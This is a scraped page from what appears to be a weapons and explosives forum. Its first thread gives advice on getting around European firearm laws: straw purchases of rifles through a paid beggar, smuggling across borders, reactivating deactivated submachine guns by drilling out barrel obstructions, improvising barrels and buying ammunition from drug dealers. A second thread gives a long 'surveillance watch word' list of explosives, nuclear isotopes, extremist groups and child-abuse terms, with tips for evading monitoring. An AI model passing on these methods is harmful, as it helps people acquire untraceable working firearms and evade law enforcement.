have a gun, gives them the right to enter -even at night- , you don't even have to be suspected of any criminal activities what-so-ever.)
Those with an existing gun collection, who don't comply within 1 year (= either get rid of the gun or try to get a license) and get their paperwork straight, are facing severe
penalties. ( with up to 5 years imprisonment )
Since all firearms require a license, you can only buy ammo when you show them your firearms-license, making it impossible for foreigners to buy ammunition from now on (or
even components to reload).
Seems Belgian government has begun disarming its population
I would suggest looking at other potential countries for supplies

Firearms silencers are OTC in France, Finland, Norway, airgunsilencers can be had OTC in the UK. ( which perfectly fit any .22 LR ;) )
Former East-Block countries who recently joined the European Union still have vast amount of ordinance lying around.
Semi-auto AK47s and VZ58s as well as most CZ rifles could be had without too much questions asked in the Czech Republic a couple years ago for a fist full of dollars. ( travel
over there, get a local beggar purchase it for you and get it across the border )
It might also be worth noticing that demilitarized SMGs and assault rifles are sold OTC in several European countries. Some of these countries simply weld a steel rod inside
the barrel, so no live ammunition can be used anymore. This leaves the chamber and receiver of the gun intact. Simply drilling out this rod leaves you with a (very inaccurate)
monster spitting out brass at 800rpm. :D

Anyone got a source for this further tightening of the UK firearms law to cover components?
tomu June 10th, 2006, 04:24 AM

...SNIP It might also be worth noticing that demilitarized SMGs and assault rifles are sold OTC in several European countries. Some of these countries simply weld a steel
rod inside the barrel, so no live ammunition can be used anymore. This leaves the chamber and receiver of the gun intact. Simply drilling out this rod leaves you with a (very
inaccurate) monster spitting out brass at 800rpm. :D
Blackfalcon, I real would appreciate if you could tell us what european countries do a deactivation like you have described above, just weld a piece of steel rod into the bore
but leave the barrel, champer and other gun parts (bolt, receiver etc.) otherwise intact. Or better where could those deact-SMGs be bought?
Do you have first hand experience, meaning do you have seen a deact-gun like you descriped and have you inspected it so you are sure there are no other modifications?
BlackFalcoN June 10th, 2006, 08:18 AM

Blackfalcon, I real would appreciate if you could tell us what european countries do a deactivation like you have described above, just weld a piece of steel rod into the bore
but leave the barrel, champer and other gun parts (bolt, receiver etc.) otherwise intact. Or better where could those deact-SMGs be bought?
Do you have first hand experience, meaning do you have seen a deact-gun like you descriped and have you inspected it so you are sure there are no other modifications?
They fall under the same legislation as "alarm" pistols because they can only fire blanks. (requiring them to have a working firingmechanism)
They are not the same as "deco" weapons, which have been mutulated to the point that restoring them is practically impossible.
I've seen them on sale on various internet sites in Holland and Belgium and according to the seller I contacted, only a steel rod is welded into the barrel, preventing a bullet
from exiting. (Although I have to admit that I haven't inspected one with my own eyes )
He also told me that they had been de-activated in Germany.
No license or paperwork is required at all.
I'll PM you with a link to an online auction where they are currently on sale.

Thanks Blackfalcon!
It's very interesting I really have to check this out. Normally in a greal un converted to salut meaning capable only of firing blanks, the following modifications are made. The
chamber is drilled out and then altered to only fit blank cartridges by welding an insert into the chamber.
Then the barrel is drilled verticaly right in front of chamber with several holes at least the size of the caliber, instead of drilling several holes a slot can be milled at least of the
width of the caliber. Normally that's it, sometimes the barrel is welded in place.
So the only thing which is altered in salut conversions is the barrel, you can get the real McCoy by just replacing the barrel. This has been done for years with converted military
bolt action rifles in Germany. Salut barrel out, real barrel in.
BlackFalcoN June 10th, 2006, 10:16 AM

The barrel is destroyed on 'reactivation', since it will require you to drill out the obstruction and possibly refill holes which were made in the barrel.
Much better would be to buy a new barrel, but in most European countries I know of, finished barrels require you to have a permit to buy them ( and certainly to import them )
But as stated in a previous post by NOZ, there are countries where barrel blanks can be bought OTC (such as Austria), so making your own custom barrel out of these blanks
should be possible in most cases.
Does anybody know of other (European?) countries where barrel blanks can be bought without any paperwork ?

Buying a finished barrel in the UK isn't possible. Even getting DOM tube is dammed hard. Better to make one from scratch.
I did think of a way around this, though. Not completely sure, but you could buy a long rifle de-act, and take a section of the barrel and turn that into a pistol. I'm not sure this
would work under the new regs, though, because they cut the barrel lengthways and then weld it back.
The other option might well be to use a break-barrel airrifle barrel, and ream the end(s) out. I don't know the burst pressures, though. Get an old secondhand one, most likely.
Good thick walls.
nbk2000 June 12th, 2006, 02:19 PM

Not a firearm, but still cool, and seems to be a loophole somehow.
http://www.hfmgroup.com/professionalsupplies/blank-firing-grenades.html
Each unit comes complete with full instructions; civilian units come with 9mm adaptor and 12g housing only.
They say it's their top seller for paintball, but it seems WAY too military for such.
Someone in britan needs to contact these people and find out if it actually is legal for 'civilians' to buy, and what's the difference between this version and the 'non-civilian'
model.

Perfectly legal, as far as I can see. Noise makers are fine over here. I've got a 12g blank firing tripwire thing, which basically consists of a big spring driven firing pin and a steel
frame to hold a 12g blank. The tripwire pulls a cotter pin out, and it fires.
Of course, the pin is so stiff it tends to snap the string! Easily modifed, though.
Available from most gun shops (yes, we do still have them!) for around 15, and 12g BP blanks are freely available (for now) In fact, that reminds me, I should stock up!
nbk2000 July 16th, 2006, 04:49 AM

Stock up while you can, using someone else to show ID (if needed), 'cause you KNOW it's going to be banned sooner-or-later, and everyone who bought any getting a knock
on the door. :(
cletus July 22nd, 2006, 07:00 PM

Every European country has different standards concerning de-activated firearms,by going on a road trip through the EU you should be able to gather enough items to cobble
one together.I think pre 1995 British de-acts are field strippable.Try to get a Browning Hi Power or a P-38 as both are widely distributed thus common throughout the
continent.I believe slides and barrels can be bought off ticket in Germany pistol ammo is readily available in Amsterdam sold buy the same folks who sell hard drugs.

I'll tell you this, possession of a pre-1985 deact will get you jail time unless you can prove that you had it prior to the ban.
It used to be that the de-acts could be re-activated by "simply" machineing a new barrel and bolt. The working parts worked still, and the gun still looked like a gun, except
the bolt face was cut off at 45 degrees, and the barrel was slit lengthways then welded back.
Now, almost all de-acts are welded solid and just bits of expensive junk that won't tell you even anything about the design and how it worked. Further, bare in mind that if the
cops found you with the barrel or other working parts (anything pressure bearing, and a few other bits) they can still send you down for the minimum sentence of 5 years.
tomu July 23rd, 2006, 02:46 PM

@cletus:
Slides as well as barrels and frames, receivers, bolts etc. are handled in Germany as the gun itself, you need to have a licencse to buy it and to own it.
If you can get ammunition from illegal sources in Amsterdam you certainly can get a gun from them too.
jebidiah July 26th, 2006, 01:52 AM

Cletus was on to something,the Czech Republic would be a good stop for a road trip. Parts are pretty much unregulated plus there is a thriving black market.
rollinground August 8th, 2006, 03:37 PM

I dont think the czech republic would be much good, it has become very "straight" in many ways, it doesnt have the corruption it use to, it is very much a tourist place now and
the goverment has sorted out alot of the issues.
Bulgaria is suppose to be the place with loads of surplus floating around.
As for france check this site out it has a full table of the laws regarding purchasing weapons there. They are set up in funny ways in sections.
http://www.broma.fr
Section 5 - are shotguns

section 7 - are .22 rifles, 9mm garden guns (shotguns)
section 8 - are black powder guns, no licence, no decleration after sale, just proof of I.D. that you are over 18 years.
So you could get a shotgun or single shot .22 rifle without much hassle, they require you to provide, proof of i.d. (passport) and also a valid hunting licence, i think you can get
these from post offices etc. They are hard to get for someone who isnt a french resident anyway, if you were french then there would be no problem.
You can buy .22, blackpowder, and shotgun ammo without any licence in france.
In the czech rep. you can get black powder guns and flobert pistols 4mmM20 without a licence, handguns are licenced but its easy to get a licence for them, you would need to
be able to speak the language though.
Switzerland you could buy a handgun no problems, you need a licence to purchase one, however they currently have a loop hole in the law where private sales arent regulated
for swiss citzerns. So if you had a swiss friend they could get you one from someone who was selling their gun privately.
I presume that getting shotguns and small caliber rifles is the same but easier.
You can get barrel blanks in the U.K. upto .25, not many places have them but you can buy them. They are for air rifles but once reamed would be most adequete, weiharuch
(sp) do barrel blanks, the barrels are extremley thick and well made and would easily withstand live rounds.
Hope that helps a little, and hello as this is my first post :)
Chris Werb May 14th, 2008, 09:00 PM

I'll tell you this, possession of a pre-1985 deact will get you jail time unless you can prove that you had it prior to the ban.
It used to be that the de-acts could be re-activated by "simply" machineing a new barrel and bolt. The working parts worked still, and the gun still looked like a gun, except
the bolt face was cut off at 45 degrees, and the barrel was slit lengthways then welded back.
Now, almost all de-acts are welded solid and just bits of expensive junk that won't tell you even anything about the design and how it worked. Further, bare in mind that if the
cops found you with the barrel or other working parts (anything pressure bearing, and a few other bits) they can still send you down for the minimum sentence of 5 years.
Hi Jacks
Any deact you're purchased should have a deact cert with it (you can do your own deactivating provided you legally owned the gun in the first place, but it could go to a court
case to prove that you've done it properly!). If your gun is pre '95 spec and your cert says the gun was deactivated pre '96, you're OK regardless of how many people owned
the gun since deactivation or when you purchased it. Bolt actions, single shots and (bizarrely) crew-served weapons aren't welded up, even under today's rules. That leads to
bizarre anomalies -for example a FAL rifle deactivated today would be welded up but a heavy barrelled FAL LMG wouldn't be - the same gun with a heavier barrel and a bipod.
The 5 year compulsory sentence only applies to weapons that are currently S.5 (prohibited) - if you were caught with pressure bearing parts of say a Lee Enfield, it wouldn't
apply. Where it gets weird is where there are overlaps - for example you can have a Lee Enfield smoothbored and with a pinned mag as an S.2 shotgun, but the bolt would fit
an S.1 rifle version (assuming you checked the headspace!). Likewise you could own S.1 and S.2 versions of the same shotgun - the bolt of the first would be a controlled
component and the bolt of the latter completely unregulated. BTW someone on this thread mentioned a limit of .25" calibre for unregulated (unchambered) barrel blanks. I'm
not aware of that one - when did that law come in?
====
Do not self-sign posts. Also, be aware that this thread has been dead for nearly two years. - Enkidu

In the UK you can still legally purchase wthout any certificate firearms deemed 'antique'. To be antique they must:
1) Have been manufactured before the outbreak of WW-2 (the actual individual firearm - not just ones like it) AND
2) Be a non cartridge firearm
OR
3) Be chambered a pinfire (or some other long obsolete ignition system) cartridge
OR
4) Be chambered for a cartridge deemed 'obsolete' by the Home Office. There is a huge list of such cartridges in an appendix to the Home Office Guidance document which you
can find at the followng link:
http://police.homeoffice.gov.uk/publications/operational-policing/HO-Firearms-Guidance.pdf?view=Binary
Theoretically this would allow you to own a fully operational machine gun for which ammunition, although deemed obsolete, IS still commercially available. I say 'theoretically'
because would guess it's highly unlikely any of us could find, let alone afford a Gatling or Maxim chambered for .577-450, let alone find belts for the latter!

I forgot to add that you can only possess the weapon for collector/display purposes - if you want to shoot it, it has to be on your SGC or FAC (and, if full auto you need
authorisation from the Home Secretary or his equivalent in Scotland).
Jacks Complete May 17th, 2008, 11:56 AM

Yes, all that you have said is correct, to the best of my knowledge. Especially that last point.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Government word watch list.
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View Full Version : Government word watch list.

With the press of my submit button, alarm klaxons blare at the terminal of some hapless government technician deep within
the bowels of Echelon, or the latest flavor of government surveillance. Soon multiple keyhole satellites are tasked to my
position, and at least three nuclear weapons silos are redesignated to my coordinates. Yet another document is added to my
FBI file...
Here is a list of forensic watch words that the government does not like. Using them in tapped telephone conversations and
subversive web postings will irk the feds. If you are up to no good, I suggest you avoid these watch words. Encryption can be
your friend as well as code talk.
..50-caliber
011-202-797-3300
011-234-1-261-0097
011-254-2-537-800
011-27-12-342-1048
011-30-1-721-2951
011-32-2-508-2111
011-33-1-4312-2222
011-34-91-587-2200
011-36-1-267-4400
011-372-6-68-8100
011-380-44-490-4000
011-39-06-4674-2710
011-40-1-210-4042
011-41-31-357-7011
011-420-2-5753-0663
011-43-1-313-39-2155
011-44-207-499-9000
011-45-3555-3144
011-4822-628-3041
011-49-30-238-5174
011-49-69-7535-0
011-507-207-7000
011-52-5-55080-2000
011-523-33825-2700
011-526-662217-2375
011-526-664681-7400
011-528-81343-2120
011-541-15-777-4533
011-55-61-321-7000
011-56-2-330-5003
011-57-1-315-0811
011-58-212-975-6411
011-61-2-6214-5600
011-63-2-523-1001
011-65-476-9100
011-66-2-205-4000
011-7-095-728-5000
011-7-3272-63-39-21
011-81-3-3224-5000
011-82-2-397-4114
011-852-2523-9011
011-90-312-455-5555
011-91-11-419-8000
011-92-51-2080-0000
011-962-6-592-0101
011-966-1-488-3800
011-972-3-519-7575
1(5-tetrazolyl)-4-guanyl tetrazene hydrate
1, 2-bis (2, 2-difluoro-2-nitroacetoxyethane)
1,2,4 butanetriol trinitrate
1-604-685-4311
1-613-238-5335
1-800-232-5378
1-800-843-5678
1-800-be-alert
1-800-bealert
1-809-221-2171
1000 ml
1200 vanier parkway
15 cfr part 730
1505 barrington st.
175mm
18 u.s.c. 1956
2,2-dinitropropyl acrylate
2,4,6 tetranitro-n-methylaniline
2,6-bis(picrylamino)
2-butanol
2-butanone
21 u.s.c. 812
21 u.s.c. 841
21 u.s.c. 848
22 cfr part 120
233u
235u
237np
239pu
246-436-4950
3,4-methylenedioxymethamphetamine
3000 ml
4-methoxyamphetamine
4-methylene
5000 ml
700 army navy drive
747
A P O R R H T O N
abadie
abaqus
abdelkarim hussein mohamed al-nasser
abduct
abdul rahman yasin
abdullah ahmed abdullah
aboriginal
absorption column
Abu Nidal Organization (ANO)
Abu Sayyaf Group
abuser
accelerator
accelerometer
access
aced
acetaldehyde
acetic anhydride
acetone
acetylene
acetylides
acid
aclu
acquire
actinium-228
action
action montralaise contre la guerre
activism
adams
adan medrano
aerodynamic
aeroelastic
aerosol challenge testing chamber
affidavit
afghanistan
afit
afrl
agency
aggressive
agitator
ah-1w
ah-64
ahf
ahmad ibrahim al-mughassil
ahmed khalfan ghailani
ahmed mohammed hamed ali
ahmed ressam
aids
ak
ak-47
AKPRE ANOPPHTON
Al-Aqsa Martyrs Brigade
al-Jihad (Egyptian Islamic Jihad)
al-qaeda
al-Qa ida
alaska boreal forest council
albania
alberta
alcohol
aldrich
algeria
ALGJORTI
algorithm
ali atwa
ali saed bin ali el-hoorie
alkaloid
allah
allegheny defense project
alliance for a paving moratorium
alliance for the wild rockies
allies
alloy
allwave
alp: in defense of animals
alpha emitter
alpha-ethyl-tryptamine
ALTO SECRETO
aluminum ophorite
amatex
amatol
ambassador
ambush
american front
american heritage rivers
american rivers
american wildlands
americans for the environment
americium
americium-241
americium-242
americium-243
amien rais
amine nitrate
amine nitrates
ammonal
ammonia distillation
ammonia-hydrogen exchange
ammonium nitrate
ammonium nitrate-fuel oil
ammonium perchlorate
ammonium picrate
ammonium salt lattice
ammunition
amphetamine
AN-SICREIDEACH
anabolic
anadrol
anal
analogue
anarchist
anarchy
anas al-liby
anavar
andino
anechoic
anfo
angola
anhydride
animal liberation front
animal rights
annihilate
anonymous
anthranilic
anthrax
anti-aircraft
anti-capitalist convergence
anti-corporate
anti-jam
anti-personnel
anti-satellite
anti-war
antiaircraft
antibody
anticompromise emergency destruct
antimony-124
antimony-126
antisera
antitoxin
aperture
apocalypse
appalachian trail home
arab
arellano-felix
arfcos
ariel sharon
armed
Armed Islamic Group (GIA)
arming
array
arrest
arsenal
artillery
aryan
aryan brotherhood
aryan circle
asa hutchinson
Asbat al-Ansar
ashcroft
assassination
assault
assault rifle
assay
assistant administrator steven casteel
assistant commissioner richard proulx
asylum
atehortua
atf
atomic vapor
attack
Aum Shinrikyo
authentication
autodyn
avionics
avlis
awad
axis
ayman al-zawahiri
azerbaijan
b&d
b-52
bacteria
bacteriological
badran
baggies
bagheera
bahrain
ballistic
baltimore gas electric
bank draft
baratol
barium-133
barium-140
baronol
barry mccaffrey
Basque Fatherland and Liberty (ETA)
batf
baumstark
beaf
beaumont
beijing
BEKOLI SERRI
belfast
benzoyl peroxide
benzyl
beryllium
bestiality
beta-gamma emitter
bible
bids
billions
binary
biochemicals
biological
biometric
bioterrorism
bis (trinitroethyl) carbonate
bis (trinitroethyl) nitramine
bismuth
bismuth-207
bismuth-210
black market
black market peso exchange
black powder
blaine
blair
blasting agents
blasting caps
blasting gelatin
blasting powder
blindfold
blockade
bloodletting
bloods
blue mountain native forest alliance
bodeo
body armor
boeing
bogus registration
boiler room
boiling chips
boldenone
bomb
bomber
bomblet
bondage
bong
bookchin
boron-10
bosnia
botulism
boy
boychat
boylover
breakdown
breast
breeder
brentwood reservoir
bribe
british intelligence
btnec
btnen
bttn
buchner funnel
buffer
bulger
bullion
bullseye
bump off
bunker
buprenorphine
bureau
burma
burn
burning
bush
butex
buttocks
butyl tetryl
buxton
buzz
c4
c4i2
c4iftw
caa
cabinet
cadmium-109
cadmium-113
calais
calcium nitrate
calcium-45
calexico
californium-252
cambodia
campaign
canada customs contraband and intelligence unit
canadian intelligence
canadian security intelligence service act
cannabis
capitalism
capitol
carbine
carbon-14
carreon
carrier
cartel
cartridge cases
cascade checkerboard project
cascadia planet
cascadia times
cascadia wildlands project
cash
casing
casualty
catalytic
catapult
catskill center home page
caustic
cavity qed
cci
ccips
cdc
cell
cellulose hexanitrate
centers for disease control
central america
centre for quantum computation
centrifuge
ceramic
cerium-141
cerium-144
cesium-134
cesium-137
cfc
challenge
channel tunnel
chantilly
chaos
chechnya
chemical abstracts
chemistry
cheney
cherry
CHICHIMI
chicken-supers
child
child molester
child pornography
child-lover
children
china
chinese
chloral
chlorate
chloride
chlorine-36
chloroform
choke
christian
chromium-51
chula
ci
cia
cigarettes
ciisd
cipher
citation interceptor
citizenship and immigration canada
civil liberties
civil liberty
civil war
civilians
claisen adapter
clandestine
class struggle
classified
classless
clearance
climate voice
clitoris
clone
clustered computers
cnrs
cnwdi
coalition
cobalt
cobalt-60
cocaine
cock
code
code word
codeine
codeword
coerce
COK GIZLI
colex
coli
collateral
collection
collective
collusion
colombian
colors
column exchange
combatant
comint
commercialism
communications
communist
Communist Party of the Philippines/New People's Army (CPP/NPA)
compartmentalized
compartmented
composite
composition a
composition b
composition c
computer
concealment
concentrate
concentration camp
condensor
confidential
conflict
confront
congressman
conquest
conspire
constitution
consulate
consultant
consumerism
containment housing
contaminated
contra
contraception
contract
controlled
controlled cryptographic item
controlled substance
convention
convict
coolant
copper acetylide
copper-64
core
corporate
correa
corrosive
corrtex
corrupt
corticosteroid
COSMIC TOP SECRET
council of europe
counter intelligence branch
counter terrorism branch
counter-cracking
counterfeit
counterintelligence
countermeasure
courier
court
covert
crack
cracker
crash
crime
criminal
crips
crisla
cross section
cross-border
cross-flow filtration
crown ether
crtical mass
cryogenic distillation
cryptanalysis
cryptand
cryptographic
cryptologic
csic
csis
ct
cuba
cull
culture jamming
cultures
cumene
cunt
curb
curies
curium-242
curium-243
curium-244
curium-245
currency
customs
cut
cyanide
cyanogen bromide
cyanuric triazide
cyberpunk
cybersmuggling
cyclo-1,3,5,-trimethylene-2,4,6,-trinitramine
cyclo-1,3,5,7-tetramethylene 2,4,6,8-tetranitramine
cyclohexane
cyclonite
cyclotetramethylenetetranitramine
cyclotol
cyclotrimethylenetrinitramine
cypher
czech republic
d-lysergic acid
damage
dangerous
daniel seligman
dar es salaam
darht
dash
database
datb
david barbarash
david creamer
david garzon-anguiano
dci
ddnp
dea
dead
death
deca-durabolin
deceive
deception
declare
decode
decoherence
decrypt
defect
defence
defenders of wildlife
defense
defense investigative service
defloration
deflowered
deforestation
degdn
degrade
degrading
delivery system
demolition
demonstration
dennis moynihan
department of defense
department of justice canada
deployment
dera
des
design characteristics
destabilize
destabilizing
destroy
destroyer
destruction
detector
detention
detonating cord
detonator
deuterium
devastate
dfait
dia
diaminotrinitrobenzene
dianabol
diazodinitrophenol
dicyclopentadiene
diethyl
diethyl ether
diethyl malonate
diethyleneglycol dinitrate
differential analyzer
diffusion
dimethylol dimethyl methane dinitrate
dinitroethyleneurea
dinitroglycerine
dinitropentano nitrile
dinitrophenol
dinitrophenolates
dinitrophenyl hydrazine
dinitropyridine
dinitroresorcinol
dinitrotoluene
dinitrotoluene-sodium nitrate
dioxane
dioxyphenyl-2-propanone
dipam
dipicryl sulfone
dipicrylamine
diplomatic pouch
direct action
direct action network
directed energy weapon
directorate
discipline
disclose
discrete log
dispatch
displacement band chromatography
DISSEMINATION AND EXTRACTION OF INFORMATION CONTROLLED BY ORIGINATOR
dissident
distillation column
dnd
dnpa
dnpd
doe
dogwood alliance
dollars
domestic
donald eugene webb
doobie
dope
drawing
dreo
drivecrypt
drown
drugs
dual-use
durabolin
dynamite
e-2c
e-3
ear
earth charter
earth first
earth island
earth justice
earth liberation
earthjustice
earthlaw
eco-terrorist
ecoanarchist
ecojustice network
econet
ecosystem
ecoterrorism
ecoworld
ecstasy
eddn
edfa
edna
ednatol
ednp
education planet
eff
egdn
egypt
ejaculation
ejecta
el viejo
electromagnetic pulse
electromigration
electronic freedom foundation
electrorefining
elliptic curve
emanations security
embargo
embassy
embezzle
emergency
emp
empowering
emsec
emulsion
encapsulating
encapsulation
encounter
endangered earth
endangered species
endangered species coalition
endangered species of hawaii
enema
enfield
enhanced lethal
enrich
enriched
envirolink network
environ-stores
environment
environmental defense fund
environmental law in the public interest
environmental media service
environmental radical
environmental working group
environmental yellow pages
environmentist
envjourn
ephedrine
equipoise
eradication
erbium
ergonovine
ergotamine tartrate
eric robert rudolph
ERITTAIN SLAINEN
erlenmeyer
erythritol tetranitrate
escape
escobar
espionage
ESTRICTAMENTE SECRETO
ether
ethlestrenol
ethyl 4,4-dinitropentanoate
ethyl ether
ethyl malonate
ethyl vinyl ether
ethyl-tetryl
ethylamine
ethylene diamine dinitrate
ethylene glycol dimethyl ether
ethylene glycol dinitrate
ethylenediamine
europium-152
europium-154
europium-155
evidence
exceptionally grave
exercise term
exhibit
exipc
expatriate
explicit
explode
exploit
explosive
explosive conitrates
explosive d
explosive gel
explosive gelatins
explosive liquid
explosive mixture
explosive powder
explosive-train
export
export control
exterminate
extraction
f-15
faa
factorization
fag
faggot
fahid mohammed ally msalam
faizabad
false
false documentation
false valuation
falun gong
fascist
fast fourier transform
fatal
fawaz al-rabeei
fayaz
fazul abdullah mohammed
fbi
fcc
fda
feces
federal
fellatio
fermenter
fetish
fiber matrices
fibre
fifth amendment
fighter
filament winding
files
filming
finajet
finely powdered metal
fintrac
firearm
firearms
firebomb
firewall
fireworks
first strike
fisa
fisher
fissile
fission products
flag of convenience
flame-thrower
flash powder
flash x-ray
flask
fleet
flight simulator
flores-garza
flow
fluxoymesterone
fn fal
foia
foreign
foreign asset
FOREIGN GOVERMENT INFORMATION
foreign intelligence
foreign intelligence surveillance act
forensic
forest action network
forest guardians
forest service employees for environmental ethics
forge
fort george g. meade
fort meade
fractional distillation
france
francis moulan
free the planet
freedom
freeze-drying
french
frequency agile
friedel-crafts
friends of the earth
friends of the earth international
fsf
fuck
fuel
fuel cycle
fuel rod
fuel-air
fugitive
fulminate of mercury
fulminate of silver
fulminating gold
fulminating mercury
fulminating platinum
fulminating silver
fume hood
fundamentalist
fundraising
fungi
furane
fused salt
fusing
fusion
fxr
g8
gaddafi
gadolinium-153
G a m a a al-Islamiyya (Islamic Group)
gamma-butyrolactone
gamma-hydroxybutyrate
gang
gaseous diffusion
gassed
gay
gaza
gbl
gelatinized nitrocellolose
gelling agent
gem-dinitro aliphatic
general dynamics
general electric
general motors
genetic
genetically modified
genetically modified organism
genital
genocide
genome database
genome sequence
george j. tenet
george j. weise
gerhard schroeder
germanium-68
ghb
girdler-sulfide
girl
girl-lover
girlchat
global conspiracy
global response
global trade
global warming
globalisation
globalization
glove box
glycerol dinitrate
glyceryltrinitrate
god
gold
gold-198
government
governor ridge
gph
gpixels
gps
Grady Ward
grand jury
graphite
greater laurentian wildlands project
green party
greener
greenpeace
greenpeace international
greig
grenade launcher
grenades
grooming
gross alpha
gross beta
growth hormone
grumman
guanyl nitrosamino guanyl tetrazene
guanyl nitrosamino guanylidene hydrazine
gun
gun mount
guncotton
guns
gunship
gyrostabilizer
h&k g3
habitat
hacker
hafnium-172
hafnium-181
halotestin
HAMAS (Islamic Resistance Movement)
handgun
hang
Harakat ul-Mujahidin (HUM)
hard core
hard-core
hardened
harm
harrier
hasan izz-al-din
hashish
hassan
hate
hawkeye
hazard
hazardous
headshop
heartwood coalition
heat condenser
heat exchanger
heat shield
heaters
heating
heavy metal azide
heavy metal azides
heavy water
hells angel
HEMLIG
hemp
henry
herat
hercules
heroin signature
herzegovina
hexahydro-1,3,5-trinitro-s-triazine
hexanite
hexanitrodiphenylamine
hexanitrostilbene
hexogen
hexogene
hexolites
high-energy capacitors
high-purity
high-speed oscilloscope
hijack
Hizballah (Party of God)
hmx
hofmann
HOJST NIMMILIGT
holland & holland
holmium-166m
home-made
homeland security
homicide
homosexual
hopeton eric brown
horror
hoshang amir bagheri
hostage
hostile
howitzer
hpc
hungary
hydrate
hydrazine
hydrazinium nitrate
hydrazoic acid
hydriodic acid
hydrobromic acid
hydrochloric acid
hydrocodone
hydrogen bomb
hydrogen-3
hydrogenation
hydroiodic acid
hydrophilic colloid
hydrophone
hype
hypervelocity
I-KUP BI MIL
ibrahim
ibrahim salih mohammed al-yacoub
icn
identity
ideological
ifor
igc
igniter
igniter cord
ikrema
illegal
illicit
imad fayez mugniyah
image
imagery analysis
imf
immigration act
immolation
immunity
immunize
import
improvised
incendiary
incest
incinerate
incinerator
inciting
indecent
indecent poses
india
indicator
indicted
indictment
indiginous
indium-114m
indoctrinate
industrial complex
indymedia
inertial confinement
inertial platform
infect
influenza
info com
informant
infosec
infowar
infrastructure
inhalant
initiating tube
initiation
initiator
inject
injure
inlet
inner envelope
inner wrapper
ins
institute for social ecology
insurgent
INTAKAI KHUFIA
integrated
intelligence
intercept
intercontinental
intercourse
interdiction
interferometer
interferometric
intermediates
international monetary fund
internet
intramuscular
intrusion
intrusion detection
investigate
investigation
iodine-125
iodine-131
ion cyclotron resonance
ion exchange
iran
iraq
iridium-192
irish
iron-55
iron-59
irradiated material
irs
islamabad
islamic
Islamic Movement of Uzbekistan (IMU)
isopropyl ether
isostatic press
isotope
itar
ivory
j forensic sci
j org chem
jail
Jaish-e-Mohammed (JEM) (Army of Mohammed)
jalalabad
james spencer springette
jammu
janap 299
jdam
jew
jiang
jihad
JIRRI LIL GHAXEH
john c. gannon
john e. mclaughlin
john innocent okayfor
john l. helgerson
john w. magaw
joint
jose alvarez tostado
juan carlos arboleda
judge
judicial
juice
kabul
Kahane Chai (Kach)
kananaskis
kandahar
kashmiri
kazakhstan
kdnbf
keith hall
ketamine
key management
keygen
keystone
keystroke logger
khalid shaikh mohammed
kidnap
kill
kiloton
kim jong
KIMITSU
klein
knife
kofi annan
koran
korea
kosovo
krag-jorgensen
kropotkin
kropstschek m78
krypton-85
krytrons
Kurdistan Workers Party (PKK)
laboratory
lan
lancaster
land mines
lariat ether separation
laser weapon
Lashkar-e Tayyiba (LT) (Army of the Righteous)
latvia
launch vehicle
launder
lawrence k. gershwin
lead azide
lead mannite
lead mononitroresorcinate
lead picrate
lead salts
lead styphnate
lead sulfocyanate
lead trinitroresorcinate
lead-210
leader
league of conservation voters
lebel
lee-metford mk i
left
left-wing
legion of doom
lemat
lenin
lesbian
lethal
lewis c. merletti
li/nh3
liaison
lialh4
liberate
Liberation Tigers of Tamil Eelam (LTTE)
libertarian
liberty reservoir
libya
licensed
light water
light weapon
liquid oxygen converter
liquidate
liquor
lithium
loch raven reservoir
lockheed
logging
logistic
lolita
lord bassam of brighton
lord hylton
los alamos
lottery
louis freeh
loved boys
loved girls
low yield
low-hafnium
loyalist
lpi
lsd
lsdyna
lt gen michael v. hayden
luar vetus lorrett
lucent
lucrative
lumber company
LUP SOOD GNOD
LUP TISUD
lysergic acid diethylmide
m-110a2
m-16
m16
m1a2
machine gun
magazine
magic lantern
magnesium perchlorate
magnetic stir bar
MAKTUM JIDDAN
mali
malonic acid
man-boy
manganese-56
manifest
mannitol hexanitrate
mantles
mapping
maraging steel
marijuana
martin marietta
martin wagner
martyr
mass
mass destruction
mass spectrometer
massacre
massively parallel
masturbate
matriel
mauser
mauser zigzag
maxibolin
MAXIMO SECRETO
maximum security
mayaguez
mayday
mazar
mcdonnel douglas
mcgrath
mcp
mdma
mdnp
mean
megaton
mek
membrane
mems
merck index
mercuric fulminate
mercury
mercury oxalate
mercury tartrate
mercury-203
meshed
mesoscopic
metabolite
methamphetamine
methandriol
methandrostenolone
methcathinone
methyl 4,4-dinitropentanoate
methyl ethyl ketone
methylamine
methylamine nitrate
methyltestosterone
metriol trinitrate
mgd
mh-53j
mi5
mi6
mi7
michael scott bliss
microballoon
microdot
middle east
migrant
militarization
military critical
milling machine
milosevic
mine
mine-sweeping
minister
ministerial
minol-2
minster of national defence
mirage
miscavige
mislabelling
missile guidance
missile tracking
misuari
mixed oxide fuel
mk-ultra
mlis
mman
mobilize
modeling
modem
mohamed reda tabbara
mohammed
mole
molest
molotov
molten salt
molybdenum
molybdenum-99
monarchist
money
money order
monitor
monoclonal
monoethanolamine nitrate
monomethylamine nitrate
mononitrotoluene
monopropellants
morphine
mortar
mossad
mounted
mox
mozambique
ms-contin
msir
mtop
muhamadhya
muhammad
muhammad atef
muhsin musa matwalli atwah
MUITO SECRETO
Mujahedin-e Khalq Organization (MEK)
multi-walled piping
multinational
munition
murder
muslim
mustafa mohamed fadhil
MUY SECRETO
n-acetylanthranilic acid
nafta
nairobi
nalbuphine
naloxone
naltrexone
nandrolone
nano-electronics
nano-optics
narc
narcotic
narrowbeam
national audubon society
national council for the environment
national crime squad
national criminal intelligence service
national forest protection campaign
national hi-tec crime unit
National Liberation Army (ELN)
national parks and conservation association
national resource defense council
national security council
national wildlife federation
native forest council
native forest network
native forest network in australia
nato
NATO RESTRICTED
nato secret
natural resources defense council
nature conservancy
naughty
navigation
nazi
ncarai
necrophilia
need to know
need-to-know
needle
negotiate
neptunium-237
nerve
network
neural network
neutron generator
ng
nh2ch3
nhtcu
nibtn
nickel-63
nickname
nigeria
night sighting
night vision
nighthawk
niobium-94
nitramine
nitramines
nitrated carbohydrate
nitrated glucoside
nitrated n-methylaniline
nitrated polyhydric alcohol
nitrated polyol
nitrates of soda
nitric acid
nitro
nitro-carbo-nitrates
nitrocellulose
nitroethane
nitroform
nitrogelatin
nitrogen bases
nitrogen tri-iodide
nitrogen trichloride
nitroglycerine
nitroglycide
nitroglycol
nitroguanidine
nitroisobutametriol trinitrate
nitromethane
nitronium perchlorate
nitroparaffins
nitropentaerythrite
nitrostarch
nitrourea
nogales
non-linear
nonviolent
norad
norpseudoephedrine
north american free trade agreement
northern ireland
Not Releasable to Foreign Nationals
nro
nsa
nswc
nuclear regulatory commission
